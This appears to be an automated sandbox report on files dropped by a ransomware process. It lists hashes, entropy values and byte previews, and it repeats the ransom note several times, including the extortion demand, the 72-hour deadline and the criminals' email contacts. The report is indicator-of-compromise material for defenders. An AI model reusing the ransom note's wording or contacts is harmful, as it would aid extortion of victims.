                                                                                                                                        Preview:ATTENTION!....Don't worry, you can return your files! ..All your files like photos, videos and other important documents are encrypted with a strong encryption algorithm and unique key...The only method of recovering files is to purchase a decrypt tool and your key...Do not try to recover your files without a decrypt tool, you may damage them making them impossible to recover....we advise you contact us in less than 72 hours, otherwise there is a possibility that your files will never be returned...We will not wait for your letter for a long time, mail can be abused, we are moving on, hurry up with the decision.....Check your email 'Spam' or 'Junk' foeder if you don't get answer within 6 hours.....Contact us..email :edfr789@tutanota.com.. -> edfr789@tutamail.com..Attach this file in the email...ID :60560F8248A29835B0D9ACAA8F0E59336CD5839743C15C381D3E3152DC65DF2F88FB4D6D0C53C776BFE3C49D938B35995FAAAE7C14F0C2AC93E6E2754BB0A555D3B5EFE34D80BD9F622D45370189A8260FE472632D269573722F2A8EF7A
                                                                                                                                        Process:C:\Users\user\AppData\Local\Temp\eryy65ty.exe
                                                                                                                                        File Type:data
                                                                                                                                        Category:dropped
                                                                                                                                        Size (bytes):49418
                                                                                                                                        Entropy (8bit):1.1511971089472248
                                                                                                                                        Encrypted:false
                                                                                                                                        SSDEEP:192:ME3ykO3mDkB5FHSPJFt+ioRwq4swoay9j:MDkOWDkB5FH6t+ioWqVaij
                                                                                                                                        MD5:65F858945F342EDC5B4E794199D06F8F
                                                                                                                                        SHA1:A39921841BA157AD88B15945A4F577BC40BACB10
                                                                                                                                        SHA-256:00C14421EBA0B8666D5713C201925826A8874D5A98FD385855783F4CCA755C35
                                                                                                                                        SHA-512:C60028C208F97B00B3421191FF1835EC8D56EFAA2A378A4CD01CF9DEEA9CB37C4D434E60C968D3A07A08D11765C00E77D5C7F7E0F0E9F69ED0F2F4A54CE9E892
                                                                                                                                        Malicious:true
                                                                                                                                        Preview:.z......c...&....$3..K.......X...'. .C.i+.{.0\!.E.W..z.-M.y.b.p...K...;......[b'N..W{..|kp.g....$]).....#.X...j..?... ....}.8#da.Qg.....H.k-{.!..l.;...YS%../}Up.j...3..Hs.!..s$eD.!0...z/v^.l.d.%..J....:...y.o.w$....D..S+......K..h...U.#.....M[....&..ET..| .r\.s.D4.t..y.9.H..G..U..v+..L..ip .:=.?)...2.`d.e...~...Qj...~]@q.O.l...A.RG..maJHK....FLA..N..[4~..W(.x.C_.....|..........s.....N~...M..<$..Z\..B.....y.2....4.<.n...r.%3w.n.x...z...-R...q....5(.._x.*@[e..w..b..>.&'...ag...C..CV..c..;..~..L,.....&.....x...n".kv.hx.t...M.3w:.............@C.Q...|L....e.e...*.7(4-y.K~. 7..uBU..*v.{.......g...V..O.:.3?..'..k.....).R........p..i-.......].r.%v.N.K^}.m3XR.~i......`G...f.I.8w.Y%n`.-|n...F....]yRbs....k..qIDD...n...k....~..=...)r.4.......S.%I..o....6....C..%.."..E.......L..p.u.$...<}..8..@6.IF...2=+...q.).=.g"kq...Q..3J..".oj...1..s.....qR..6HXo...'.+..[.....=F...g.f.........>&......k.;.....4.&...." p_uF..B.9C..I....P...<...L.\{../....=.UY/.2...V
                                                                                                                                        Process:C:\Users\user\AppData\Local\Temp\eryy65ty.exe
                                                                                                                                        File Type:data
                                                                                                                                        Category:dropped
                                                                                                                                        Size (bytes):33034
                                                                                                                                        Entropy (8bit):1.6066076396805953
                                                                                                                                        Encrypted:false
                                                                                                                                        SSDEEP:96:H5U4vVa6C3E2DlszliN+oGMK3ZEW2mI6+41Z7ZnpJ3HBE:ZUMan07pLkKJEI6g173Hu
                                                                                                                                        MD5:729C278E89CEDD30F6FD15D692290AF3
                                                                                                                                        SHA1:ED113EF26870ACB40214D48A435A9B0AB9785D49
                                                                                                                                        SHA-256:FA27F038C1D1D8EAEE62910B85B24685A41A221B11145B1C396313BB30DA3533
                                                                                                                                        SHA-512:7596A2B623D7B3C32F83955B72BD6F2BEE8002BD8FBDA364F856412C22C58675912620291803996E7F30A8EACE27EBD1E95609AC9672882F956BD2F5FEC326B7
                                                                                                                                        Malicious:true
                                                                                                                                        Preview:..g.Y..E..`.ru....EQ.x....#H}.\.N.^.."jN..k.gS.y&(....o2....H..>..... ..,&.:. .........b...&t..RW...x...+.uf......?.......W.%..".]!....S..#R.......Cy...........c.=7p...v.p.eB%.k|.K..@....Q.<-.T.x...p..7.AA3*..ia.k...p.Z.=n..yDy....,....`p<.....|.~lg........H ....s1....Jci..o.AS.a.L.bEG.~Ux(mh.h<...L...jZ..}oly.".....^....D.....YtA.XS.#..=.er......F2+..Wr..P..+..8}-!A.qj....khl.\.._..O..O..X..aL.-u8h.Z.]..uw.D.FO.C.Af..mo...s..K.|...5h.......d......vD(."J{R..p...$G.K.dOU.@..-Le..-FhL7oq.....;-..S2....r.....h [..P..z~N.p...X...s.p.....b:3..W.=.B.:....<z7XD....6..e.Q.'...c.)...q....gg/...j.......a9ruk.a.:....Z.(t.......D.7.....F...K\.JMs9.......Q.?.-....=....1tr......Lh.....4....K,..'.`.B......_.[.@.OnY.. J/`.....K.<?..SO.OJ.. ...5..T.1...-..N.R.j...$?......o..2....Fn^.aP....Q..Kg......R....s.Fxy'.)..8..;.i...i..KMw.ih....><.....i.S+..r".bL.Vri.N.FA..v...)...K...b.....$h.81.y>..U_....j._./.....7..t.?.p..F.8.w.. ..Y.v...R+
                                                                                                                                        Process:C:\Users\user\AppData\Local\Temp\eryy65ty.exe
                                                                                                                                        File Type:data
                                                                                                                                        Category:dropped
                                                                                                                                        Size (bytes):33034
                                                                                                                                        Entropy (8bit):1.6066076396805953
                                                                                                                                        Encrypted:false
                                                                                                                                        SSDEEP:96:H5U4vVa6C3E2DlszliN+oGMK3ZEW2mI6+41Z7ZnpJ3HBE:ZUMan07pLkKJEI6g173Hu
                                                                                                                                        MD5:729C278E89CEDD30F6FD15D692290AF3
                                                                                                                                        SHA1:ED113EF26870ACB40214D48A435A9B0AB9785D49
                                                                                                                                        SHA-256:FA27F038C1D1D8EAEE62910B85B24685A41A221B11145B1C396313BB30DA3533
                                                                                                                                        SHA-512:7596A2B623D7B3C32F83955B72BD6F2BEE8002BD8FBDA364F856412C22C58675912620291803996E7F30A8EACE27EBD1E95609AC9672882F956BD2F5FEC326B7
                                                                                                                                        Malicious:false
                                                                                                                                        Preview:..g.Y..E..`.ru....EQ.x....#H}.\.N.^.."jN..k.gS.y&(....o2....H..>..... ..,&.:. .........b...&t..RW...x...+.uf......?.......W.%..".]!....S..#R.......Cy...........c.=7p...v.p.eB%.k|.K..@....Q.<-.T.x...p..7.AA3*..ia.k...p.Z.=n..yDy....,....`p<.....|.~lg........H ....s1....Jci..o.AS.a.L.bEG.~Ux(mh.h<...L...jZ..}oly.".....^....D.....YtA.XS.#..=.er......F2+..Wr..P..+..8}-!A.qj....khl.\.._..O..O..X..aL.-u8h.Z.]..uw.D.FO.C.Af..mo...s..K.|...5h.......d......vD(."J{R..p...$G.K.dOU.@..-Le..-FhL7oq.....;-..S2....r.....h [..P..z~N.p...X...s.p.....b:3..W.=.B.:....<z7XD....6..e.Q.'...c.)...q....gg/...j.......a9ruk.a.:....Z.(t.......D.7.....F...K\.JMs9.......Q.?.-....=....1tr......Lh.....4....K,..'.`.B......_.[.@.OnY.. J/`.....K.<?..SO.OJ.. ...5..T.1...-..N.R.j...$?......o..2....Fn^.aP....Q..Kg......R....s.Fxy'.)..8..;.i...i..KMw.ih....><.....i.S+..r".bL.Vri.N.FA..v...)...K...b.....$h.81.y>..U_....j._./.....7..t.?.p..F.8.w.. ..Y.v...R+
                                                                                                                                        Process:C:\Users\user\AppData\Local\Temp\eryy65ty.exe
                                                                                                                                        File Type:data
                                                                                                                                        Category:dropped
                                                                                                                                        Size (bytes):292
                                                                                                                                        Entropy (8bit):7.146597939581061
                                                                                                                                        Encrypted:false
                                                                                                                                        SSDEEP:6:LgiVjTJ0OzfWwarhCOp3F+STNh/Rmd1++3R+6leQY+pa9vmn:vxA33HTTZA+U2Qa9vmn
                                                                                                                                        MD5:0841F63348935AE890C1F5A1EC364576
                                                                                                                                        SHA1:87F774E1F20FDE858E612215CD045E5F1CA079A5
                                                                                                                                        SHA-256:879A3C8DCA720353DD3BCC5E16AADE7E73C844DD693CF2B2DEB4CE6067C82BE0
                                                                                                                                        SHA-512:A9381FF1B8B65B4EB1026F6730B5FA0B062EA825A3B0532AC640BFF5C05B5D70357995A12C4F7FB56AECD2587906010A3700A7B8F3361BB64AC5DC3336FC5FAB
                                                                                                                                        Malicious:true
                                                                                                                                        Preview:s..Z..^...N...8.............OQ.R....L......,.x...;.o%HSr.+.........ra ........D...W)a.'.)6.8.......?...T^|..u....2.Li....Zi.....u....~a.m....u#......[]..*d..5.~.u....7i...nQ{2..v.E^D..........pd$.]./..o...lz.......a..O...j...\..sD....j%....?.U...-....^..m..W..4.....<.;.5..0xABADCABA
                                                                                                                                        Process:C:\Users\user\AppData\Local\Temp\eryy65ty.exe
                                                                                                                                        File Type:data
                                                                                                                                        Category:dropped
                                                                                                                                        Size (bytes):49418
                                                                                                                                        Entropy (8bit):1.1511971089472248
                                                                                                                                        Encrypted:false
                                                                                                                                        SSDEEP:192:ME3ykO3mDkB5FHSPJFt+ioRwq4swoay9j:MDkOWDkB5FH6t+ioWqVaij
                                                                                                                                        MD5:65F858945F342EDC5B4E794199D06F8F
                                                                                                                                        SHA1:A39921841BA157AD88B15945A4F577BC40BACB10
                                                                                                                                        SHA-256:00C14421EBA0B8666D5713C201925826A8874D5A98FD385855783F4CCA755C35
                                                                                                                                        SHA-512:C60028C208F97B00B3421191FF1835EC8D56EFAA2A378A4CD01CF9DEEA9CB37C4D434E60C968D3A07A08D11765C00E77D5C7F7E0F0E9F69ED0F2F4A54CE9E892
                                                                                                                                        Malicious:false
                                                                                                                                        Preview:.z......c...&....$3..K.......X...'. .C.i+.{.0\!.E.W..z.-M.y.b.p...K...;......[b'N..W{..|kp.g....$]).....#.X...j..?... ....}.8#da.Qg.....H.k-{.!..l.;...YS%../}Up.j...3..Hs.!..s$eD.!0...z/v^.l.d.%..J....:...y.o.w$....D..S+......K..h...U.#.....M[....&..ET..| .r\.s.D4.t..y.9.H..G..U..v+..L..ip .:=.?)...2.`d.e...~...Qj...~]@q.O.l...A.RG..maJHK....FLA..N..[4~..W(.x.C_.....|..........s.....N~...M..<$..Z\..B.....y.2....4.<.n...r.%3w.n.x...z...-R...q....5(.._x.*@[e..w..b..>.&'...ag...C..CV..c..;..~..L,.....&.....x...n".kv.hx.t...M.3w:.............@C.Q...|L....e.e...*.7(4-y.K~. 7..uBU..*v.{.......g...V..O.:.3?..'..k.....).R........p..i-.......].r.%v.N.K^}.m3XR.~i......`G...f.I.8w.Y%n`.-|n...F....]yRbs....k..qIDD...n...k....~..=...)r.4.......S.%I..o....6....C..%.."..E.......L..p.u.$...<}..8..@6.IF...2=+...q.).=.g"kq...Q..3J..".oj...1..s.....qR..6HXo...'.+..[.....=F...g.f.........>&......k.;.....4.&...." p_uF..B.9C..I....P...<...L.\{../....=.UY/.2...V
                                                                                                                                        Process:C:\Users\user\AppData\Local\Temp\eryy65ty.exe
                                                                                                                                        File Type:ASCII text, with very long lines (3354), with CRLF line terminators
                                                                                                                                        Category:dropped
                                                                                                                                        Size (bytes):4165
                                                                                                                                        Entropy (8bit):4.792271041094558
                                                                                                                                        Encrypted:false
                                                                                                                                        SSDEEP:96:cvNlHaKqHidPMU+SVbYTlzcSpNzRTZY55MVdgMO1:Qn6FH4PMU+MclcSpVRFY55MVdc
                                                                                                                                        MD5:73A838375F20E252402225AA5083BFB2
                                                                                                                                        SHA1:201B4C1BD1EB831DBDB72C427E0EADBBA6A55E2B
                                                                                                                                        SHA-256:9D4D5DF0AF55B1DD72FA635F675368324DECB0E107F9B04438AA73BAC7D275B9
                                                                                                                                        SHA-512:F950847DAD079C685E7D7142B21A837973235985945B0400F97215F9643BE37DB72C65F26D97F0148D82ECD8165345392D5CA62D7C8CFA986E3F68E1FDC25B0E
                                                                                                                                        Malicious:true
                                                                                                                                        Preview:ATTENTION!....Don't worry, you can return your files! ..All your files like photos, videos and other important documents are encrypted with a strong encryption algorithm and unique key...The only method of recovering files is to purchase a decrypt tool and your key...Do not try to recover your files without a decrypt tool, you may damage them making them impossible to recover....we advise you contact us in less than 72 hours, otherwise there is a possibility that your files will never be returned...We will not wait for your letter for a long time, mail can be abused, we are moving on, hurry up with the decision.....Check your email 'Spam' or 'Junk' foeder if you don't get answer within 6 hours.....Contact us..email :edfr789@tutanota.com.. -> edfr789@tutamail.com..Attach this file in the email...ID :60560F8248A29835B0D9ACAA8F0E59336CD5839743C15C381D3E3152DC65DF2F88FB4D6D0C53C776BFE3C49D938B35995FAAAE7C14F0C2AC93E6E2754BB0A555D3B5EFE34D80BD9F622D45370189A8260FE472632D269573722F2A8EF7A
                                                                                                                                        Process:C:\Users\user\AppData\Local\Temp\eryy65ty.exe
                                                                                                                                        File Type:data
                                                                                                                                        Category:dropped
                                                                                                                                        Size (bytes):49418
                                                                                                                                        Entropy (8bit):1.1816981514123825
                                                                                                                                        Encrypted:false
                                                                                                                                        SSDEEP:96:zm4nOp7CZ+w0nUH6+BzSa/PMn1bIFIuWgEGwjQT2O+xUDckI2:zmEoQWUakSCM1vu8QabxUDckp
                                                                                                                                        MD5:17FA3F55A1309721E2CD2DAF521B5E33
                                                                                                                                        SHA1:D0740C22D15380987CBCDA597C4B05F2692F1A3A
                                                                                                                                        SHA-256:032A3EF040DCE634CCE58562083B6F7DD47E4EACE411BC73EBA68C79E1E64FB6
                                                                                                                                        SHA-512:9FE39FA767DBBC136001C60A22362913638F0F67963E1D89B4E4274F5E8BDA5C8C53A3E77AD7353525000A4381A812E4FCA1A54A23D81EB87BE94A255CC6CF74
                                                                                                                                        Malicious:true
                                                                                                                                        Preview:O.f.4J..<..._...Z.....p'........(LM..xq.-.....X`-.(.S..R....?..D......)....L.k..Ww.......;#.w..*...D.S...Jm./.e..)...f.P..>B......]M.`cl..q....'..........,B...J:...1.?.(..w8n.e....................-#.dD.{z...]...6.J..;....!.)O....j.......FD.....(..X...C.9.......j/3._v./.c..R..4.&,..t1.:3qY..D.YY...A`Hj...r%.Hy3.......9.....iS1/...m....m..n.k.,:..N...754.%.K..%....S.......>.1...pA.h.../..}v......~e...j+.t....\.!lp......-Qk.Zc.33..S`...2(.. ..0.YR}RR1.0<...]..[w...Vs.zu...........Txo...b............B..o.`M8j......."[.......6n.S....v.._............~}n...b..}.[=...}........Q..x.06.......~...DG9s$)..s.Y..YR.*.!.o}.%...$..]..;....Y...=......v..^Y_.w.8].P.._Qt>....mQ....=.......q...\..pH....#.x.,..p. (g/.-.I...x[.z..4.3.!....6).sm.#L...?......+....2.v.....g}A..riP.Al....0~.(C.Tdv.E...+..&...jo...2c.)..q..nW.K.k$d..dW..0...W.Q:4.2...A..X....?........).PlO...)...k...q...u B...S..Q)..(..+.G....Wj..b....]......gH..g.Ws...=...ra....5.$G.....?.f.P:8Lu
                                                                                                                                        Process:C:\Users\user\AppData\Local\Temp\eryy65ty.exe
                                                                                                                                        File Type:data
                                                                                                                                        Category:dropped
                                                                                                                                        Size (bytes):33034
                                                                                                                                        Entropy (8bit):1.6081639571745907
                                                                                                                                        Encrypted:false
                                                                                                                                        SSDEEP:96:+NxNKlDCxd7FKt+47puRCLMCwF5oInEKXRrE2zoo8wBmF:QvGDCjxKt+49uRCLIoIhw28WmF
                                                                                                                                        MD5:D729B4DD1732AA7B0981F37E9746C661
                                                                                                                                        SHA1:CC7E5E8218AE62FCBCBCD862D78F917E9A270F0E
                                                                                                                                        SHA-256:58C7611B519C739B78B9ABC0B754EE7F1FB94EBDB1596752272465AB3DBE23A4
                                                                                                                                        SHA-512:1642F8E7E879838E2938C4DCC13D4B0B19262C9FC69F9D3966CCA50F08F93641CC7CA6445F92FA1154A74531819CAAD966A173E0CE6B83256A2C34F9DE30B2A7
                                                                                                                                        Malicious:true
                                                                                                                                        Preview:.j.y...!/a.......X..."......&d.:.TR..L..u.=V%....~c~.A....$...g.....{...U..~v.>.....+.9.k..P.M.iF.YA~Hd$.....L5..c..{.......B...bQ`.M.5{...._..zM.O.q.....s........Du..Fk*..V[.t.D....l<.?~...........|7op..n%..B.J..?.z,..Rh....%......./.;.w.&.3(.2.$.2....T...?....`e..P...U..J=E..{.x/..=.>..Ce...H.+l.5.f..'X........a....`.v.*&.n..........9~.?).{..:Z(..x..Wr;wb..V.#.k....fb.H.1o......e..wS^.~...D.....O..7..?/J.....)..=:....: S...s..6..a...`..5....x.........!]..-..`K.a8.5..{... .|............r...k......O*.j.`.Z.........".....`u.i!..#/.Mf....t8..v.....%........fz.0..]?p...o.p......Ib.oQc W....7%......P..%.ao..|s4(`..!..}.b.\.?....aUbZ4..G...J...D......{.O.o$.7$..h,...."...^.W...^c....L.\.f...:.......J......U>oK..uO.R..q......75.......=.....9P.<...y...#.......urd.._....".3.......z. ..J(h`.K..H.ak........k. ...`...W.O..3t.....+P.q..:.z_...<p+..u:.).N....l.....I.%V.&...b.^...s.t2..b.^UI;}v4..->..`U..r!.h..=... ..HA.D..}S.S.Tv.J .(.7..ETys.tYq..$.
                                                                                                                                        Process:C:\Users\user\AppData\Local\Temp\eryy65ty.exe
                                                                                                                                        File Type:data
                                                                                                                                        Category:dropped
                                                                                                                                        Size (bytes):33034
                                                                                                                                        Entropy (8bit):1.6081639571745907
                                                                                                                                        Encrypted:false
                                                                                                                                        SSDEEP:96:+NxNKlDCxd7FKt+47puRCLMCwF5oInEKXRrE2zoo8wBmF:QvGDCjxKt+49uRCLIoIhw28WmF
                                                                                                                                        MD5:D729B4DD1732AA7B0981F37E9746C661
                                                                                                                                        SHA1:CC7E5E8218AE62FCBCBCD862D78F917E9A270F0E
                                                                                                                                        SHA-256:58C7611B519C739B78B9ABC0B754EE7F1FB94EBDB1596752272465AB3DBE23A4
                                                                                                                                        SHA-512:1642F8E7E879838E2938C4DCC13D4B0B19262C9FC69F9D3966CCA50F08F93641CC7CA6445F92FA1154A74531819CAAD966A173E0CE6B83256A2C34F9DE30B2A7
                                                                                                                                        Malicious:false
                                                                                                                                        Preview:.j.y...!/a.......X..."......&d.:.TR..L..u.=V%....~c~.A....$...g.....{...U..~v.>.....+.9.k..P.M.iF.YA~Hd$.....L5..c..{.......B...bQ`.M.5{...._..zM.O.q.....s........Du..Fk*..V[.t.D....l<.?~...........|7op..n%..B.J..?.z,..Rh....%......./.;.w.&.3(.2.$.2....T...?....`e..P...U..J=E..{.x/..=.>..Ce...H.+l.5.f..'X........a....`.v.*&.n..........9~.?).{..:Z(..x..Wr;wb..V.#.k....fb.H.1o......e..wS^.~...D.....O..7..?/J.....)..=:....: S...s..6..a...`..5....x.........!]..-..`K.a8.5..{... .|............r...k......O*.j.`.Z.........".....`u.i!..#/.Mf....t8..v.....%........fz.0..]?p...o.p......Ib.oQc W....7%......P..%.ao..|s4(`..!..}.b.\.?....aUbZ4..G...J...D......{.O.o$.7$..h,...."...^.W...^c....L.\.f...:.......J......U>oK..uO.R..q......75.......=.....9P.<...y...#.......urd.._....".3.......z. ..J(h`.K..H.ak........k. ...`...W.O..3t.....+P.q..:.z_...<p+..u:.).N....l.....I.%V.&...b.^...s.t2..b.^UI;}v4..->..`U..r!.h..=... ..HA.D..}S.S.Tv.J .(.7..ETys.tYq..$.
                                                                                                                                        Process:C:\Users\user\AppData\Local\Temp\eryy65ty.exe
                                                                                                                                        File Type:data
                                                                                                                                        Category:dropped
                                                                                                                                        Size (bytes):292
                                                                                                                                        Entropy (8bit):7.2240497273027895
                                                                                                                                        Encrypted:false
                                                                                                                                        SSDEEP:6:VoASmqAgSEPGFfJczqAwpGic8yezysPw0thRpDGIYLj4BWHPS3jn:yCqFS+URcWFeoesIySPS3jn
                                                                                                                                        MD5:3236D056D44743E8C82EF2EB1F6468DB
                                                                                                                                        SHA1:C9A61B44C251B005BA8D3C1C2D43E776A8259DFD
                                                                                                                                        SHA-256:9343D398D492B2E48919DA77B06E711324B28C4A8B00D30984315E4B552761BD
                                                                                                                                        SHA-512:E22D0974EF81236409E14FC94CDC94C879BC45F6E0073805E5D07F646D0CEA1394BC4EC0E640DEAA5D6A5A49D039F052988621FCC856BA4FD47D00D4247C6C09
                                                                                                                                        Malicious:true
                                                                                                                                        Preview:....&=.>.3X!P..........4...Ma..`..../..4X.ZS.ov.S~.......}..I.H...@..(#._..^.qU...........lF...;7...I.,.......!M....\..hV;.......,..=...O.j.'.......J........l....b.y........#f.....m..W....hmwVf...x.rV..9...%...../.vDJ..D...Zp.....k....u..S..Q.j......V.Y....{}..(p0xABADCABA
                                                                                                                                        Process:C:\Users\user\AppData\Local\Temp\eryy65ty.exe
                                                                                                                                        File Type:data
                                                                                                                                        Category:dropped
                                                                                                                                        Size (bytes):49418
                                                                                                                                        Entropy (8bit):1.1816981514123825
                                                                                                                                        Encrypted:false
                                                                                                                                        SSDEEP:96:zm4nOp7CZ+w0nUH6+BzSa/PMn1bIFIuWgEGwjQT2O+xUDckI2:zmEoQWUakSCM1vu8QabxUDckp
                                                                                                                                        MD5:17FA3F55A1309721E2CD2DAF521B5E33
                                                                                                                                        SHA1:D0740C22D15380987CBCDA597C4B05F2692F1A3A
                                                                                                                                        SHA-256:032A3EF040DCE634CCE58562083B6F7DD47E4EACE411BC73EBA68C79E1E64FB6
                                                                                                                                        SHA-512:9FE39FA767DBBC136001C60A22362913638F0F67963E1D89B4E4274F5E8BDA5C8C53A3E77AD7353525000A4381A812E4FCA1A54A23D81EB87BE94A255CC6CF74
                                                                                                                                        Malicious:false
                                                                                                                                        Preview:O.f.4J..<..._...Z.....p'........(LM..xq.-.....X`-.(.S..R....?..D......)....L.k..Ww.......;#.w..*...D.S...Jm./.e..)...f.P..>B......]M.`cl..q....'..........,B...J:...1.?.(..w8n.e....................-#.dD.{z...]...6.J..;....!.)O....j.......FD.....(..X...C.9.......j/3._v./.c..R..4.&,..t1.:3qY..D.YY...A`Hj...r%.Hy3.......9.....iS1/...m....m..n.k.,:..N...754.%.K..%....S.......>.1...pA.h.../..}v......~e...j+.t....\.!lp......-Qk.Zc.33..S`...2(.. ..0.YR}RR1.0<...]..[w...Vs.zu...........Txo...b............B..o.`M8j......."[.......6n.S....v.._............~}n...b..}.[=...}........Q..x.06.......~...DG9s$)..s.Y..YR.*.!.o}.%...$..]..;....Y...=......v..^Y_.w.8].P.._Qt>....mQ....=.......q...\..pH....#.x.,..p. (g/.-.I...x[.z..4.3.!....6).sm.#L...?......+....2.v.....g}A..riP.Al....0~.(C.Tdv.E...+..&...jo...2c.)..q..nW.K.k$d..dW..0...W.Q:4.2...A..X....?........).PlO...)...k...q...u B...S..Q)..(..+.G....Wj..b....]......gH..g.Ws...=...ra....5.$G.....?.f.P:8Lu
                                                                                                                                        Process:C:\Users\user\AppData\Local\Temp\eryy65ty.exe
                                                                                                                                        File Type:ASCII text, with very long lines (3354), with CRLF line terminators
                                                                                                                                        Category:dropped
                                                                                                                                        Size (bytes):4165
                                                                                                                                        Entropy (8bit):4.792271041094558
                                                                                                                                        Encrypted:false
                                                                                                                                        SSDEEP:96:cvNlHaKqHidPMU+SVbYTlzcSpNzRTZY55MVdgMO1:Qn6FH4PMU+MclcSpVRFY55MVdc
                                                                                                                                        MD5:73A838375F20E252402225AA5083BFB2
                                                                                                                                        SHA1:201B4C1BD1EB831DBDB72C427E0EADBBA6A55E2B
                                                                                                                                        SHA-256:9D4D5DF0AF55B1DD72FA635F675368324DECB0E107F9B04438AA73BAC7D275B9
                                                                                                                                        SHA-512:F950847DAD079C685E7D7142B21A837973235985945B0400F97215F9643BE37DB72C65F26D97F0148D82ECD8165345392D5CA62D7C8CFA986E3F68E1FDC25B0E
                                                                                                                                        Malicious:true
                                                                                                                                        Preview:ATTENTION!....Don't worry, you can return your files! ..All your files like photos, videos and other important documents are encrypted with a strong encryption algorithm and unique key...The only method of recovering files is to purchase a decrypt tool and your key...Do not try to recover your files without a decrypt tool, you may damage them making them impossible to recover....we advise you contact us in less than 72 hours, otherwise there is a possibility that your files will never be returned...We will not wait for your letter for a long time, mail can be abused, we are moving on, hurry up with the decision.....Check your email 'Spam' or 'Junk' foeder if you don't get answer within 6 hours.....Contact us..email :edfr789@tutanota.com.. -> edfr789@tutamail.com..Attach this file in the email...ID :60560F8248A29835B0D9ACAA8F0E59336CD5839743C15C381D3E3152DC65DF2F88FB4D6D0C53C776BFE3C49D938B35995FAAAE7C14F0C2AC93E6E2754BB0A555D3B5EFE34D80BD9F622D45370189A8260FE472632D269573722F2A8EF7A
                                                                                                                                        Process:C:\Users\user\AppData\Local\Temp\eryy65ty.exe
                                                                                                                                        File Type:data
                                                                                                                                        Category:dropped
                                                                                                                                        Size (bytes):49418
                                                                                                                                        Entropy (8bit):1.1550789977071265
                                                                                                                                        Encrypted:false
                                                                                                                                        SSDEEP:96:K61QG3Z4Giay/gTO+cqxCAjfki6O3tq5jFXQC0SAGuaI5uhZF6bgx:K61QAZBiH+Op3A7f/tq5jiFSNdZF6bgx
                                                                                                                                        MD5:30352C0446E3725826ADAB9213569CB2
                                                                                                                                        SHA1:15A7FCD43E8F0415F6660CDB812655855FE58248
                                                                                                                                        SHA-256:2EA4B9C2BB3B07F56565BA51171209F55845DE98DE9822D1E1F8BC3D71174DC7
                                                                                                                                        SHA-512:8B3549B908CE7CEA8E5C059684DD6E4359B8894FD4C09AC197C7388C62EFD705A1ACB74C6FDEC02F15CC7DE1E7BE66AC2DA93B578FE3E93121B9A6B2501E3EBC
                                                                                                                                        Malicious:true
                                                                                                                                        Preview:.^....+4'(.]......x...=2.....U.n..F.......z.G.m..ab}c%K....J.-..H7.F..Ki......9z<.~u..iP.P..os...tw".Sz....:..oOk.....).Yqm/Ko.&.F<.._.3..]en(..K.]".OP.rW[...Hj....=...y.Z...,......M.k..q..D[.....r-RA...Yx.......?.g..e......^..\........".W.z2[.=#}..we.y0c.3ks.N0.........d/...:.../.N.l.....&.....?,&.}.....N.,T.R....&iD...2##.?r..)..[W..:...c.p.z........F4.Z.#(.>.?.9M[.t^........*..'M.4..v.LQ]Yud.w.....1dc..jc..uH.1.~<.*....:..C.3.W.......-.,.VP...)D|....^X..,A..hf.%.`.{.....03.........E_..K.%s..E.K....'.....}.%=._.k.."...H........]7..{L.}f.F9...<u....).k..tu.!...C.c.2!?...c.......zo..v{%d.\.....p...Y...xr.....6;.K1.p.Bq.D..tbm@..l.7y.1..k.V..{T.......M}.j.r\..e.4<j.C+x..(~4[.....p..$.6.q.!.A.........0.....7]'....dc.....j>...(...< X.bb.=#..Y..n#...F.......h.U).0...=......E9I.^...M..|.._].nn.&......Qo.,.?...!..,O.8.]aj...M..x.....>....s.......,s..Z..fL..$b...C.......6.ME......'m.}...k...{........|O*>..&.s../......m.P(*:..`...5V/..H.
                                                                                                                                        Process:C:\Users\user\AppData\Local\Temp\eryy65ty.exe
                                                                                                                                        File Type:data
                                                                                                                                        Category:dropped
                                                                                                                                        Size (bytes):33034
                                                                                                                                        Entropy (8bit):1.6064044366120391
                                                                                                                                        Encrypted:false
                                                                                                                                        SSDEEP:96:/9Myxtx5/tkNY4sNqmNEJqFqfxc6Ie5tT6wngWn:/9M0T/tUTmNEJqAge5tg2
                                                                                                                                        MD5:43C6D44F268D2AF29350875C0019B268
                                                                                                                                        SHA1:57F6AD32EC57B39EAEE1FD007704885B6445303A
                                                                                                                                        SHA-256:AC86C6E77BDDB572E66DB8FB20427F2A4CF9B624179AB675D967CD7AFEC7BC7F
                                                                                                                                        SHA-512:CBEB6326DA78C955B1BC9EE2E93D2BD57A4B972AD8D0B6E20C6FC7FE61C42DE1703602A1B5131D8D99C1DC734AB88A49A13B68588EC676F5A060D54142447026
                                                                                                                                        Malicious:true
                                                                                                                                        Preview:t.l..+v!z.cI:.$..az..Z.N...g../.. .L..R....>...f.b..cTF@.E..yJ.8 (...#...R.A..-.I.KKq..//(C...-<..Y2...V........&3...2....>....3..Zb..~.CT..K+....:......<.+<0..:.c%..8.3.O(.<...Q.;..C..=..m./....-.oUZ.......%.0..M.aX...P.3g.........}.-...S.mYi>....z.Z.-u....i.]...`...+...../y..Vg...lk0...-/...*..2mJ.kdpsQ...b[.......t.V9.7..g..u...J3.8B.~b/.A..2L.qWE.........../v.....6sl..!....7?d%Y..B.h...8:..}I......*.=.v.BL..n#.......D..fn.....,.[..x....f]4....j..F..b....n..,.o*E/....'....d._t}..*.p..?.>?..........Uxa&"0.a".*...H..=.=.....J.2..."r&U.2....9.D...[.3.[..(Nk..<c.*.o5.......[..Z..u #053.E.|N..U&.}8...F.Q.zd`.....H....&PM.c.-...ZD..ju..u#$..2...G..}...Xh...(~a#j.....7.....M0e.P.."......X..JMe. 0......x......m.....Q...y..C.....I.....'e....ATv.8)1\.!..Z....X....~....;...j.Q@...M...Dy;`?L.r...s?S...v.~.E.nk).V.H...Q..g....pR..-....%..9......Z.F.........W.z.MA.".^..V.X.Y..2CX...m..q.I..r+v.Z..+.HD......Us`k.......:i\....w5p..5S....
                                                                                                                                        Process:C:\Users\user\AppData\Local\Temp\eryy65ty.exe
                                                                                                                                        File Type:data
                                                                                                                                        Category:dropped
                                                                                                                                        Size (bytes):33034
                                                                                                                                        Entropy (8bit):1.6064044366120391
                                                                                                                                        Encrypted:false
                                                                                                                                        SSDEEP:96:/9Myxtx5/tkNY4sNqmNEJqFqfxc6Ie5tT6wngWn:/9M0T/tUTmNEJqAge5tg2
                                                                                                                                        MD5:43C6D44F268D2AF29350875C0019B268
                                                                                                                                        SHA1:57F6AD32EC57B39EAEE1FD007704885B6445303A
                                                                                                                                        SHA-256:AC86C6E77BDDB572E66DB8FB20427F2A4CF9B624179AB675D967CD7AFEC7BC7F
